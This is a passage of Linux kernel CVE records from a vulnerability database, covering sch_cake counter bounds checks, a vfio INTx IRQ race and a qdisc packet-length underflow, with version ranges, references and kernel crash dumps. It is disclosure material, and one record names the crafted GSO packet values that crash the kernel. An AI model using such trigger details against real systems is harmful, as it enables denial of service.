0000000000000000 R09: 0000000000000000\nR10: 0000000000000000 R11: 0000000000000296 R12: 00007f62c10926c0\nR13: ffffffffffffff88 R14: 0000000000000000 R15: 00007ffe237885b0\n \u003c/TASK\u003e"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:16:44.686Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/84546cc1aeeb4df3e444b18a4293c9823f974be9"
        },
        {
          "url": "https://git.kernel.org/stable/c/1796ca9c6f5bd50554214053af5f47d112818ee3"
        },
        {
          "url": "https://git.kernel.org/stable/c/1d9cf07810c30ef7948879567d10fd1f01121d34"
        },
        {
          "url": "https://git.kernel.org/stable/c/27b0284d8be182a81feb65581ab6a724dfd596e8"
        },
        {
          "url": "https://git.kernel.org/stable/c/13ed7cdf079686ccd3618335205700c03f6fb446"
        },
        {
          "url": "https://git.kernel.org/stable/c/6e48faad92be13166184d21506e4e54c79c13adc"
        },
        {
          "url": "https://git.kernel.org/stable/c/517e32ea0a8c72202d0d8aa8df50a7cd3d6fdefc"
        },
        {
          "url": "https://git.kernel.org/stable/c/f2db7230f73a80dbb179deab78f88a7947f0ab7e"
        }
      ],
      "title": "tcp: Use refcount_inc_not_zero() in tcp_twsk_unique().",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-36904",
    "datePublished": "2024-05-30T15:29:05.457Z",
    "dateReserved": "2024-05-30T15:25:07.067Z",
    "dateUpdated": "2026-05-12T11:54:07.539Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-21647 (GCVE-0-2025-21647)

Vulnerability from cvelistv5 – Published: 2025-01-19 10:18 – Updated: 2026-05-12 12:03

Title

sched: sch_cake: add bounds checks to host bulk flow fairness counts

Summary

In the Linux kernel, the following vulnerability has been resolved: sched: sch_cake: add bounds checks to host bulk flow fairness counts Even though we fixed a logic error in the commit cited below, syzbot still managed to trigger an underflow of the per-host bulk flow counters, leading to an out of bounds memory access. To avoid any such logic errors causing out of bounds memory accesses, this commit factors out all accesses to the per-host bulk flow counters to a series of helpers that perform bounds-checking before any increments and decrements. This also has the benefit of improving readability by moving the conditional checks for the flow mode into these helpers, instead of having them spread out throughout the code (which was the cause of the original logic error). As part of this change, the flow quantum calculation is consolidated into a helper function, which means that the dithering applied to the ost load scaling is now applied both in the DRR rotation and when a sparse flow's quantum is first initiated. The only user-visible effect of this is that the maximum packet size that can be sent while a flow stays sparse will now vary with +/- one byte in some cases. This should not make a noticeable difference in practice, and thus it's not worth complicating the code to preserve the old behaviour.

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/44fe1efb4961c1a5c…
https://git.kernel.org/stable/c/b1a1743aaa4906c41…
https://git.kernel.org/stable/c/bb0245fa72b783cb2…
https://git.kernel.org/stable/c/a777e06dfc72bed73…
https://git.kernel.org/stable/c/27202e2e8721c3b23…
https://git.kernel.org/stable/c/91bb18950b88f9558…
https://git.kernel.org/stable/c/737d4d91d35b5f7fa…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 4a4eeefa514db570be025ab46d779af180e2c9bb , < 44fe1efb4961c1a5ccab16bb579dfc6b308ad58b (git) Affected: 7725152b54d295b7da5e34c2f419539b30d017bd , < b1a1743aaa4906c41c426eda97e2e2586f79246d (git) Affected: cde71a5677971f4f1b69b25e854891dbe78066a4 , < bb0245fa72b783cb23a9949c5048781341e91423 (git) Affected: 549e407569e08459d16122341d332cb508024094 , < a777e06dfc72bed73c05dcb437d7c27ad5f90f3f (git) Affected: d4a9039a7b3d8005b90c7b1a55a306444f0e5447 , < 27202e2e8721c3b23831563c36ed5ac7818641ba (git) Affected: 546ea84d07e3e324644025e2aae2d12ea4c5896e , < 91bb18950b88f955838ec0c1d97f74d135756dc7 (git) Affected: 546ea84d07e3e324644025e2aae2d12ea4c5896e , < 737d4d91d35b5f7fa5bb442651472277318b0bfd (git) Affected: d7c01c0714c04431b5e18cf17a9ea68a553d1c3c (git)
Linux	Linux	Affected: 6.11 Unaffected: 0 , < 6.11 (semver) Unaffected: 5.4.291 , ≤ 5.4.* (semver) Unaffected: 5.10.235 , ≤ 5.10.* (semver) Unaffected: 5.15.179 , ≤ 5.15.* (semver) Unaffected: 6.1.125 , ≤ 6.1.* (semver) Unaffected: 6.6.72 , ≤ 6.6.* (semver) Unaffected: 6.12.10 , ≤ 6.12.* (semver) Unaffected: 6.13 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T20:58:27.786Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/05/msg00030.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - BIOS",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:03:03.268Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-503939.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/sched/sch_cake.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "44fe1efb4961c1a5ccab16bb579dfc6b308ad58b",
              "status": "affected",
              "version": "4a4eeefa514db570be025ab46d779af180e2c9bb",
              "versionType": "git"
            },
            {
              "lessThan": "b1a1743aaa4906c41c426eda97e2e2586f79246d",
              "status": "affected",
              "version": "7725152b54d295b7da5e34c2f419539b30d017bd",
              "versionType": "git"
            },
            {
              "lessThan": "bb0245fa72b783cb23a9949c5048781341e91423",
              "status": "affected",
              "version": "cde71a5677971f4f1b69b25e854891dbe78066a4",
              "versionType": "git"
            },
            {
              "lessThan": "a777e06dfc72bed73c05dcb437d7c27ad5f90f3f",
              "status": "affected",
              "version": "549e407569e08459d16122341d332cb508024094",
              "versionType": "git"
            },
            {
              "lessThan": "27202e2e8721c3b23831563c36ed5ac7818641ba",
              "status": "affected",
              "version": "d4a9039a7b3d8005b90c7b1a55a306444f0e5447",
              "versionType": "git"
            },
            {
              "lessThan": "91bb18950b88f955838ec0c1d97f74d135756dc7",
              "status": "affected",
              "version": "546ea84d07e3e324644025e2aae2d12ea4c5896e",
              "versionType": "git"
            },
            {
              "lessThan": "737d4d91d35b5f7fa5bb442651472277318b0bfd",
              "status": "affected",
              "version": "546ea84d07e3e324644025e2aae2d12ea4c5896e",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "d7c01c0714c04431b5e18cf17a9ea68a553d1c3c",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/sched/sch_cake.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "6.11"
            },
            {
              "lessThan": "6.11",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.291",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.235",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.179",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.125",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.72",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.10",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.13",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.291",
                  "versionStartIncluding": "5.4.284",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.235",
                  "versionStartIncluding": "5.10.226",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.179",
                  "versionStartIncluding": "5.15.167",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.125",
                  "versionStartIncluding": "6.1.110",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.72",
                  "versionStartIncluding": "6.6.51",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.10",
                  "versionStartIncluding": "6.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13",
                  "versionStartIncluding": "6.11",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "6.10.10",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nsched: sch_cake: add bounds checks to host bulk flow fairness counts\n\nEven though we fixed a logic error in the commit cited below, syzbot\nstill managed to trigger an underflow of the per-host bulk flow\ncounters, leading to an out of bounds memory access.\n\nTo avoid any such logic errors causing out of bounds memory accesses,\nthis commit factors out all accesses to the per-host bulk flow counters\nto a series of helpers that perform bounds-checking before any\nincrements and decrements. This also has the benefit of improving\nreadability by moving the conditional checks for the flow mode into\nthese helpers, instead of having them spread out throughout the\ncode (which was the cause of the original logic error).\n\nAs part of this change, the flow quantum calculation is consolidated\ninto a helper function, which means that the dithering applied to the\nost load scaling is now applied both in the DRR rotation and when a\nsparse flow\u0027s quantum is first initiated. The only user-visible effect\nof this is that the maximum packet size that can be sent while a flow\nstays sparse will now vary with +/- one byte in some cases. This should\nnot make a noticeable difference in practice, and thus it\u0027s not worth\ncomplicating the code to preserve the old behaviour."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T21:03:43.530Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/44fe1efb4961c1a5ccab16bb579dfc6b308ad58b"
        },
        {
          "url": "https://git.kernel.org/stable/c/b1a1743aaa4906c41c426eda97e2e2586f79246d"
        },
        {
          "url": "https://git.kernel.org/stable/c/bb0245fa72b783cb23a9949c5048781341e91423"
        },
        {
          "url": "https://git.kernel.org/stable/c/a777e06dfc72bed73c05dcb437d7c27ad5f90f3f"
        },
        {
          "url": "https://git.kernel.org/stable/c/27202e2e8721c3b23831563c36ed5ac7818641ba"
        },
        {
          "url": "https://git.kernel.org/stable/c/91bb18950b88f955838ec0c1d97f74d135756dc7"
        },
        {
          "url": "https://git.kernel.org/stable/c/737d4d91d35b5f7fa5bb442651472277318b0bfd"
        }
      ],
      "title": "sched: sch_cake: add bounds checks to host bulk flow fairness counts",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2025-21647",
    "datePublished": "2025-01-19T10:18:04.415Z",
    "dateReserved": "2024-12-29T08:45:45.728Z",
    "dateUpdated": "2026-05-12T12:03:03.268Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-27437 (GCVE-0-2024-27437)

Vulnerability from cvelistv5 – Published: 2024-04-05 08:24 – Updated: 2026-05-12 11:51

Title

vfio/pci: Disable auto-enable of exclusive INTx IRQ

Summary

In the Linux kernel, the following vulnerability has been resolved: vfio/pci: Disable auto-enable of exclusive INTx IRQ Currently for devices requiring masking at the irqchip for INTx, ie. devices without DisINTx support, the IRQ is enabled in request_irq() and subsequently disabled as necessary to align with the masked status flag. This presents a window where the interrupt could fire between these events, resulting in the IRQ incrementing the disable depth twice. This would be unrecoverable for a user since the masked flag prevents nested enables through vfio. Instead, invert the logic using IRQF_NO_AUTOEN such that exclusive INTx is never auto-enabled, then unmask as required.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/26389925d6c2126fb…
https://git.kernel.org/stable/c/561d5e1998d58b54c…
https://git.kernel.org/stable/c/b7a2f0955ffceffad…
https://git.kernel.org/stable/c/139dfcc4d723ab134…
https://git.kernel.org/stable/c/2a4a666c451072066…
https://git.kernel.org/stable/c/3b3491ad0f80d913e…
https://git.kernel.org/stable/c/bf0bc84a20e6109ab…
https://git.kernel.org/stable/c/fe9a7082684eb059b…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 89e1f7d4c66d85f42c3d52ea3866eb10cadf6153 , < 26389925d6c2126fb777821a0a983adca7ee6351 (git) Affected: 89e1f7d4c66d85f42c3d52ea3866eb10cadf6153 , < 561d5e1998d58b54ce2bbbb3e843b669aa0b3db5 (git) Affected: 89e1f7d4c66d85f42c3d52ea3866eb10cadf6153 , < b7a2f0955ffceffadfe098b40b50307431f45438 (git) Affected: 89e1f7d4c66d85f42c3d52ea3866eb10cadf6153 , < 139dfcc4d723ab13469881200c7d80f49d776060 (git) Affected: 89e1f7d4c66d85f42c3d52ea3866eb10cadf6153 , < 2a4a666c45107206605b7b5bc20545f8aabc4fa2 (git) Affected: 89e1f7d4c66d85f42c3d52ea3866eb10cadf6153 , < 3b3491ad0f80d913e7d255941d4470f4a4d9bfda (git) Affected: 89e1f7d4c66d85f42c3d52ea3866eb10cadf6153 , < bf0bc84a20e6109ab07d5dc072067bd01eb931ec (git) Affected: 89e1f7d4c66d85f42c3d52ea3866eb10cadf6153 , < fe9a7082684eb059b925c535682e68c34d487d43 (git)
Linux	Linux	Affected: 3.6 Unaffected: 0 , < 3.6 (semver) Unaffected: 5.4.274 , ≤ 5.4.* (semver) Unaffected: 5.10.215 , ≤ 5.10.* (semver) Unaffected: 5.15.154 , ≤ 5.15.* (semver) Unaffected: 6.1.84 , ≤ 6.1.* (semver) Unaffected: 6.6.24 , ≤ 6.6.* (semver) Unaffected: 6.7.12 , ≤ 6.7.* (semver) Unaffected: 6.8.3 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-27437",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-04-05T13:39:05.639772Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-06T19:03:26.352Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:34:52.326Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/26389925d6c2126fb777821a0a983adca7ee6351"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/561d5e1998d58b54ce2bbbb3e843b669aa0b3db5"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b7a2f0955ffceffadfe098b40b50307431f45438"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/139dfcc4d723ab13469881200c7d80f49d776060"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/2a4a666c45107206605b7b5bc20545f8aabc4fa2"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3b3491ad0f80d913e7d255941d4470f4a4d9bfda"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/bf0bc84a20e6109ab07d5dc072067bd01eb931ec"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/fe9a7082684eb059b925c535682e68c34d487d43"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:51:40.351Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/vfio/pci/vfio_pci_intrs.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "26389925d6c2126fb777821a0a983adca7ee6351",
              "status": "affected",
              "version": "89e1f7d4c66d85f42c3d52ea3866eb10cadf6153",
              "versionType": "git"
            },
            {
              "lessThan": "561d5e1998d58b54ce2bbbb3e843b669aa0b3db5",
              "status": "affected",
              "version": "89e1f7d4c66d85f42c3d52ea3866eb10cadf6153",
              "versionType": "git"
            },
            {
              "lessThan": "b7a2f0955ffceffadfe098b40b50307431f45438",
              "status": "affected",
              "version": "89e1f7d4c66d85f42c3d52ea3866eb10cadf6153",
              "versionType": "git"
            },
            {
              "lessThan": "139dfcc4d723ab13469881200c7d80f49d776060",
              "status": "affected",
              "version": "89e1f7d4c66d85f42c3d52ea3866eb10cadf6153",
              "versionType": "git"
            },
            {
              "lessThan": "2a4a666c45107206605b7b5bc20545f8aabc4fa2",
              "status": "affected",
              "version": "89e1f7d4c66d85f42c3d52ea3866eb10cadf6153",
              "versionType": "git"
            },
            {
              "lessThan": "3b3491ad0f80d913e7d255941d4470f4a4d9bfda",
              "status": "affected",
              "version": "89e1f7d4c66d85f42c3d52ea3866eb10cadf6153",
              "versionType": "git"
            },
            {
              "lessThan": "bf0bc84a20e6109ab07d5dc072067bd01eb931ec",
              "status": "affected",
              "version": "89e1f7d4c66d85f42c3d52ea3866eb10cadf6153",
              "versionType": "git"
            },
            {
              "lessThan": "fe9a7082684eb059b925c535682e68c34d487d43",
              "status": "affected",
              "version": "89e1f7d4c66d85f42c3d52ea3866eb10cadf6153",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/vfio/pci/vfio_pci_intrs.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.6"
            },
            {
              "lessThan": "3.6",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.274",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.215",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.154",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.84",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.24",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.12",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.3",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.274",
                  "versionStartIncluding": "3.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.215",
                  "versionStartIncluding": "3.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.154",
                  "versionStartIncluding": "3.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.84",
                  "versionStartIncluding": "3.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.24",
                  "versionStartIncluding": "3.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.12",
                  "versionStartIncluding": "3.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.3",
                  "versionStartIncluding": "3.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "3.6",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nvfio/pci: Disable auto-enable of exclusive INTx IRQ\n\nCurrently for devices requiring masking at the irqchip for INTx, ie.\ndevices without DisINTx support, the IRQ is enabled in request_irq()\nand subsequently disabled as necessary to align with the masked status\nflag.  This presents a window where the interrupt could fire between\nthese events, resulting in the IRQ incrementing the disable depth twice.\nThis would be unrecoverable for a user since the masked flag prevents\nnested enables through vfio.\n\nInstead, invert the logic using IRQF_NO_AUTOEN such that exclusive INTx\nis never auto-enabled, then unmask as required."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:10:47.644Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/26389925d6c2126fb777821a0a983adca7ee6351"
        },
        {
          "url": "https://git.kernel.org/stable/c/561d5e1998d58b54ce2bbbb3e843b669aa0b3db5"
        },
        {
          "url": "https://git.kernel.org/stable/c/b7a2f0955ffceffadfe098b40b50307431f45438"
        },
        {
          "url": "https://git.kernel.org/stable/c/139dfcc4d723ab13469881200c7d80f49d776060"
        },
        {
          "url": "https://git.kernel.org/stable/c/2a4a666c45107206605b7b5bc20545f8aabc4fa2"
        },
        {
          "url": "https://git.kernel.org/stable/c/3b3491ad0f80d913e7d255941d4470f4a4d9bfda"
        },
        {
          "url": "https://git.kernel.org/stable/c/bf0bc84a20e6109ab07d5dc072067bd01eb931ec"
        },
        {
          "url": "https://git.kernel.org/stable/c/fe9a7082684eb059b925c535682e68c34d487d43"
        }
      ],
      "title": "vfio/pci: Disable auto-enable of exclusive INTx IRQ",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-27437",
    "datePublished": "2024-04-05T08:24:44.561Z",
    "dateReserved": "2024-02-25T13:47:42.687Z",
    "dateUpdated": "2026-05-12T11:51:40.351Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-49949 (GCVE-0-2024-49949)

Vulnerability from cvelistv5 – Published: 2024-10-21 18:02 – Updated: 2026-05-12 11:59

Title

net: avoid potential underflow in qdisc_pkt_len_init() with UFO

Summary

In the Linux kernel, the following vulnerability has been resolved: net: avoid potential underflow in qdisc_pkt_len_init() with UFO After commit 7c6d2ecbda83 ("net: be more gentle about silly gso requests coming from user") virtio_net_hdr_to_skb() had sanity check to detect malicious attempts from user space to cook a bad GSO packet. Then commit cf9acc90c80ec ("net: virtio_net_hdr_to_skb: count transport header in UFO") while fixing one issue, allowed user space to cook a GSO packet with the following characteristic : IPv4 SKB_GSO_UDP, gso_size=3, skb->len = 28. When this packet arrives in qdisc_pkt_len_init(), we end up with hdr_len = 28 (IPv4 header + UDP header), matching skb->len Then the following sets gso_segs to 0 : gso_segs = DIV_ROUND_UP(skb->len - hdr_len, shinfo->gso_size); Then later we set qdisc_skb_cb(skb)->pkt_len to back to zero :/ qdisc_skb_cb(skb)->pkt_len += (gso_segs - 1) * hdr_len; This leads to the following crash in fq_codel [1] qdisc_pkt_len_init() is best effort, we only want an estimation of the bytes sent on the wire, not crashing the kernel. This patch is fixing this particular issue, a following one adds more sanity checks for another potential bug. [1] [ 70.724101] BUG: kernel NULL pointer dereference, address: 0000000000000000 [ 70.724561] #PF: supervisor read access in kernel mode [ 70.724561] #PF: error_code(0x0000) - not-present page [ 70.724561] PGD 10ac61067 P4D 10ac61067 PUD 107ee2067 PMD 0 [ 70.724561] Oops: Oops: 0000 [#1] SMP NOPTI [ 70.724561] CPU: 11 UID: 0 PID: 2163 Comm: b358537762 Not tainted 6.11.0-virtme #991 [ 70.724561] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 70.724561] RIP: 0010:fq_codel_enqueue (net/sched/sch_fq_codel.c:120 net/sched/sch_fq_codel.c:168 net/sched/sch_fq_codel.c:230) sch_fq_codel [ 70.724561] Code: 24 08 49 c1 e1 06 44 89 7c 24 18 45 31 ed 45 31 c0 31 ff 89 44 24 14 4c 03 8b 90 01 00 00 eb 04 39 ca 73 37 4d 8b 39 83 c7 01 <49> 8b 17 49 89 11 41 8b 57 28 45 8b 5f 34 49 c7 07 00 00 00 00 49 All code ======== 0: 24 08 and $0x8,%al 2: 49 c1 e1 06 shl $0x6,%r9 6: 44 89 7c 24 18 mov %r15d,0x18(%rsp) b: 45 31 ed xor %r13d,%r13d e: 45 31 c0 xor %r8d,%r8d 11: 31 ff xor %edi,%edi 13: 89 44 24 14 mov %eax,0x14(%rsp) 17: 4c 03 8b 90 01 00 00 add 0x190(%rbx),%r9 1e: eb 04 jmp 0x24 20: 39 ca cmp %ecx,%edx 22: 73 37 jae 0x5b 24: 4d 8b 39 mov (%r9),%r15 27: 83 c7 01 add $0x1,%edi 2a:* 49 8b 17 mov (%r15),%rdx <-- trapping instruction 2d: 49 89 11 mov %rdx,(%r9) 30: 41 8b 57 28 mov 0x28(%r15),%edx 34: 45 8b 5f 34 mov 0x34(%r15),%r11d 38: 49 c7 07 00 00 00 00 movq $0x0,(%r15) 3f: 49 rex.WB Code starting with the faulting instruction =========================================== 0: 49 8b 17 mov (%r15),%rdx 3: 49 89 11 mov %rdx,(%r9) 6: 41 8b 57 28 mov 0x28(%r15),%edx a: 45 8b 5f 34 mov 0x34(%r15),%r11d e: 49 c7 07 00 00 00 00 movq $0x0,(%r15) 15: 49 rex.WB [ 70.724561] RSP: 0018:ffff95ae85e6fb90 EFLAGS: 00000202 [ 70.724561] RAX: 0000000002000000 RBX: ffff95ae841de000 RCX: 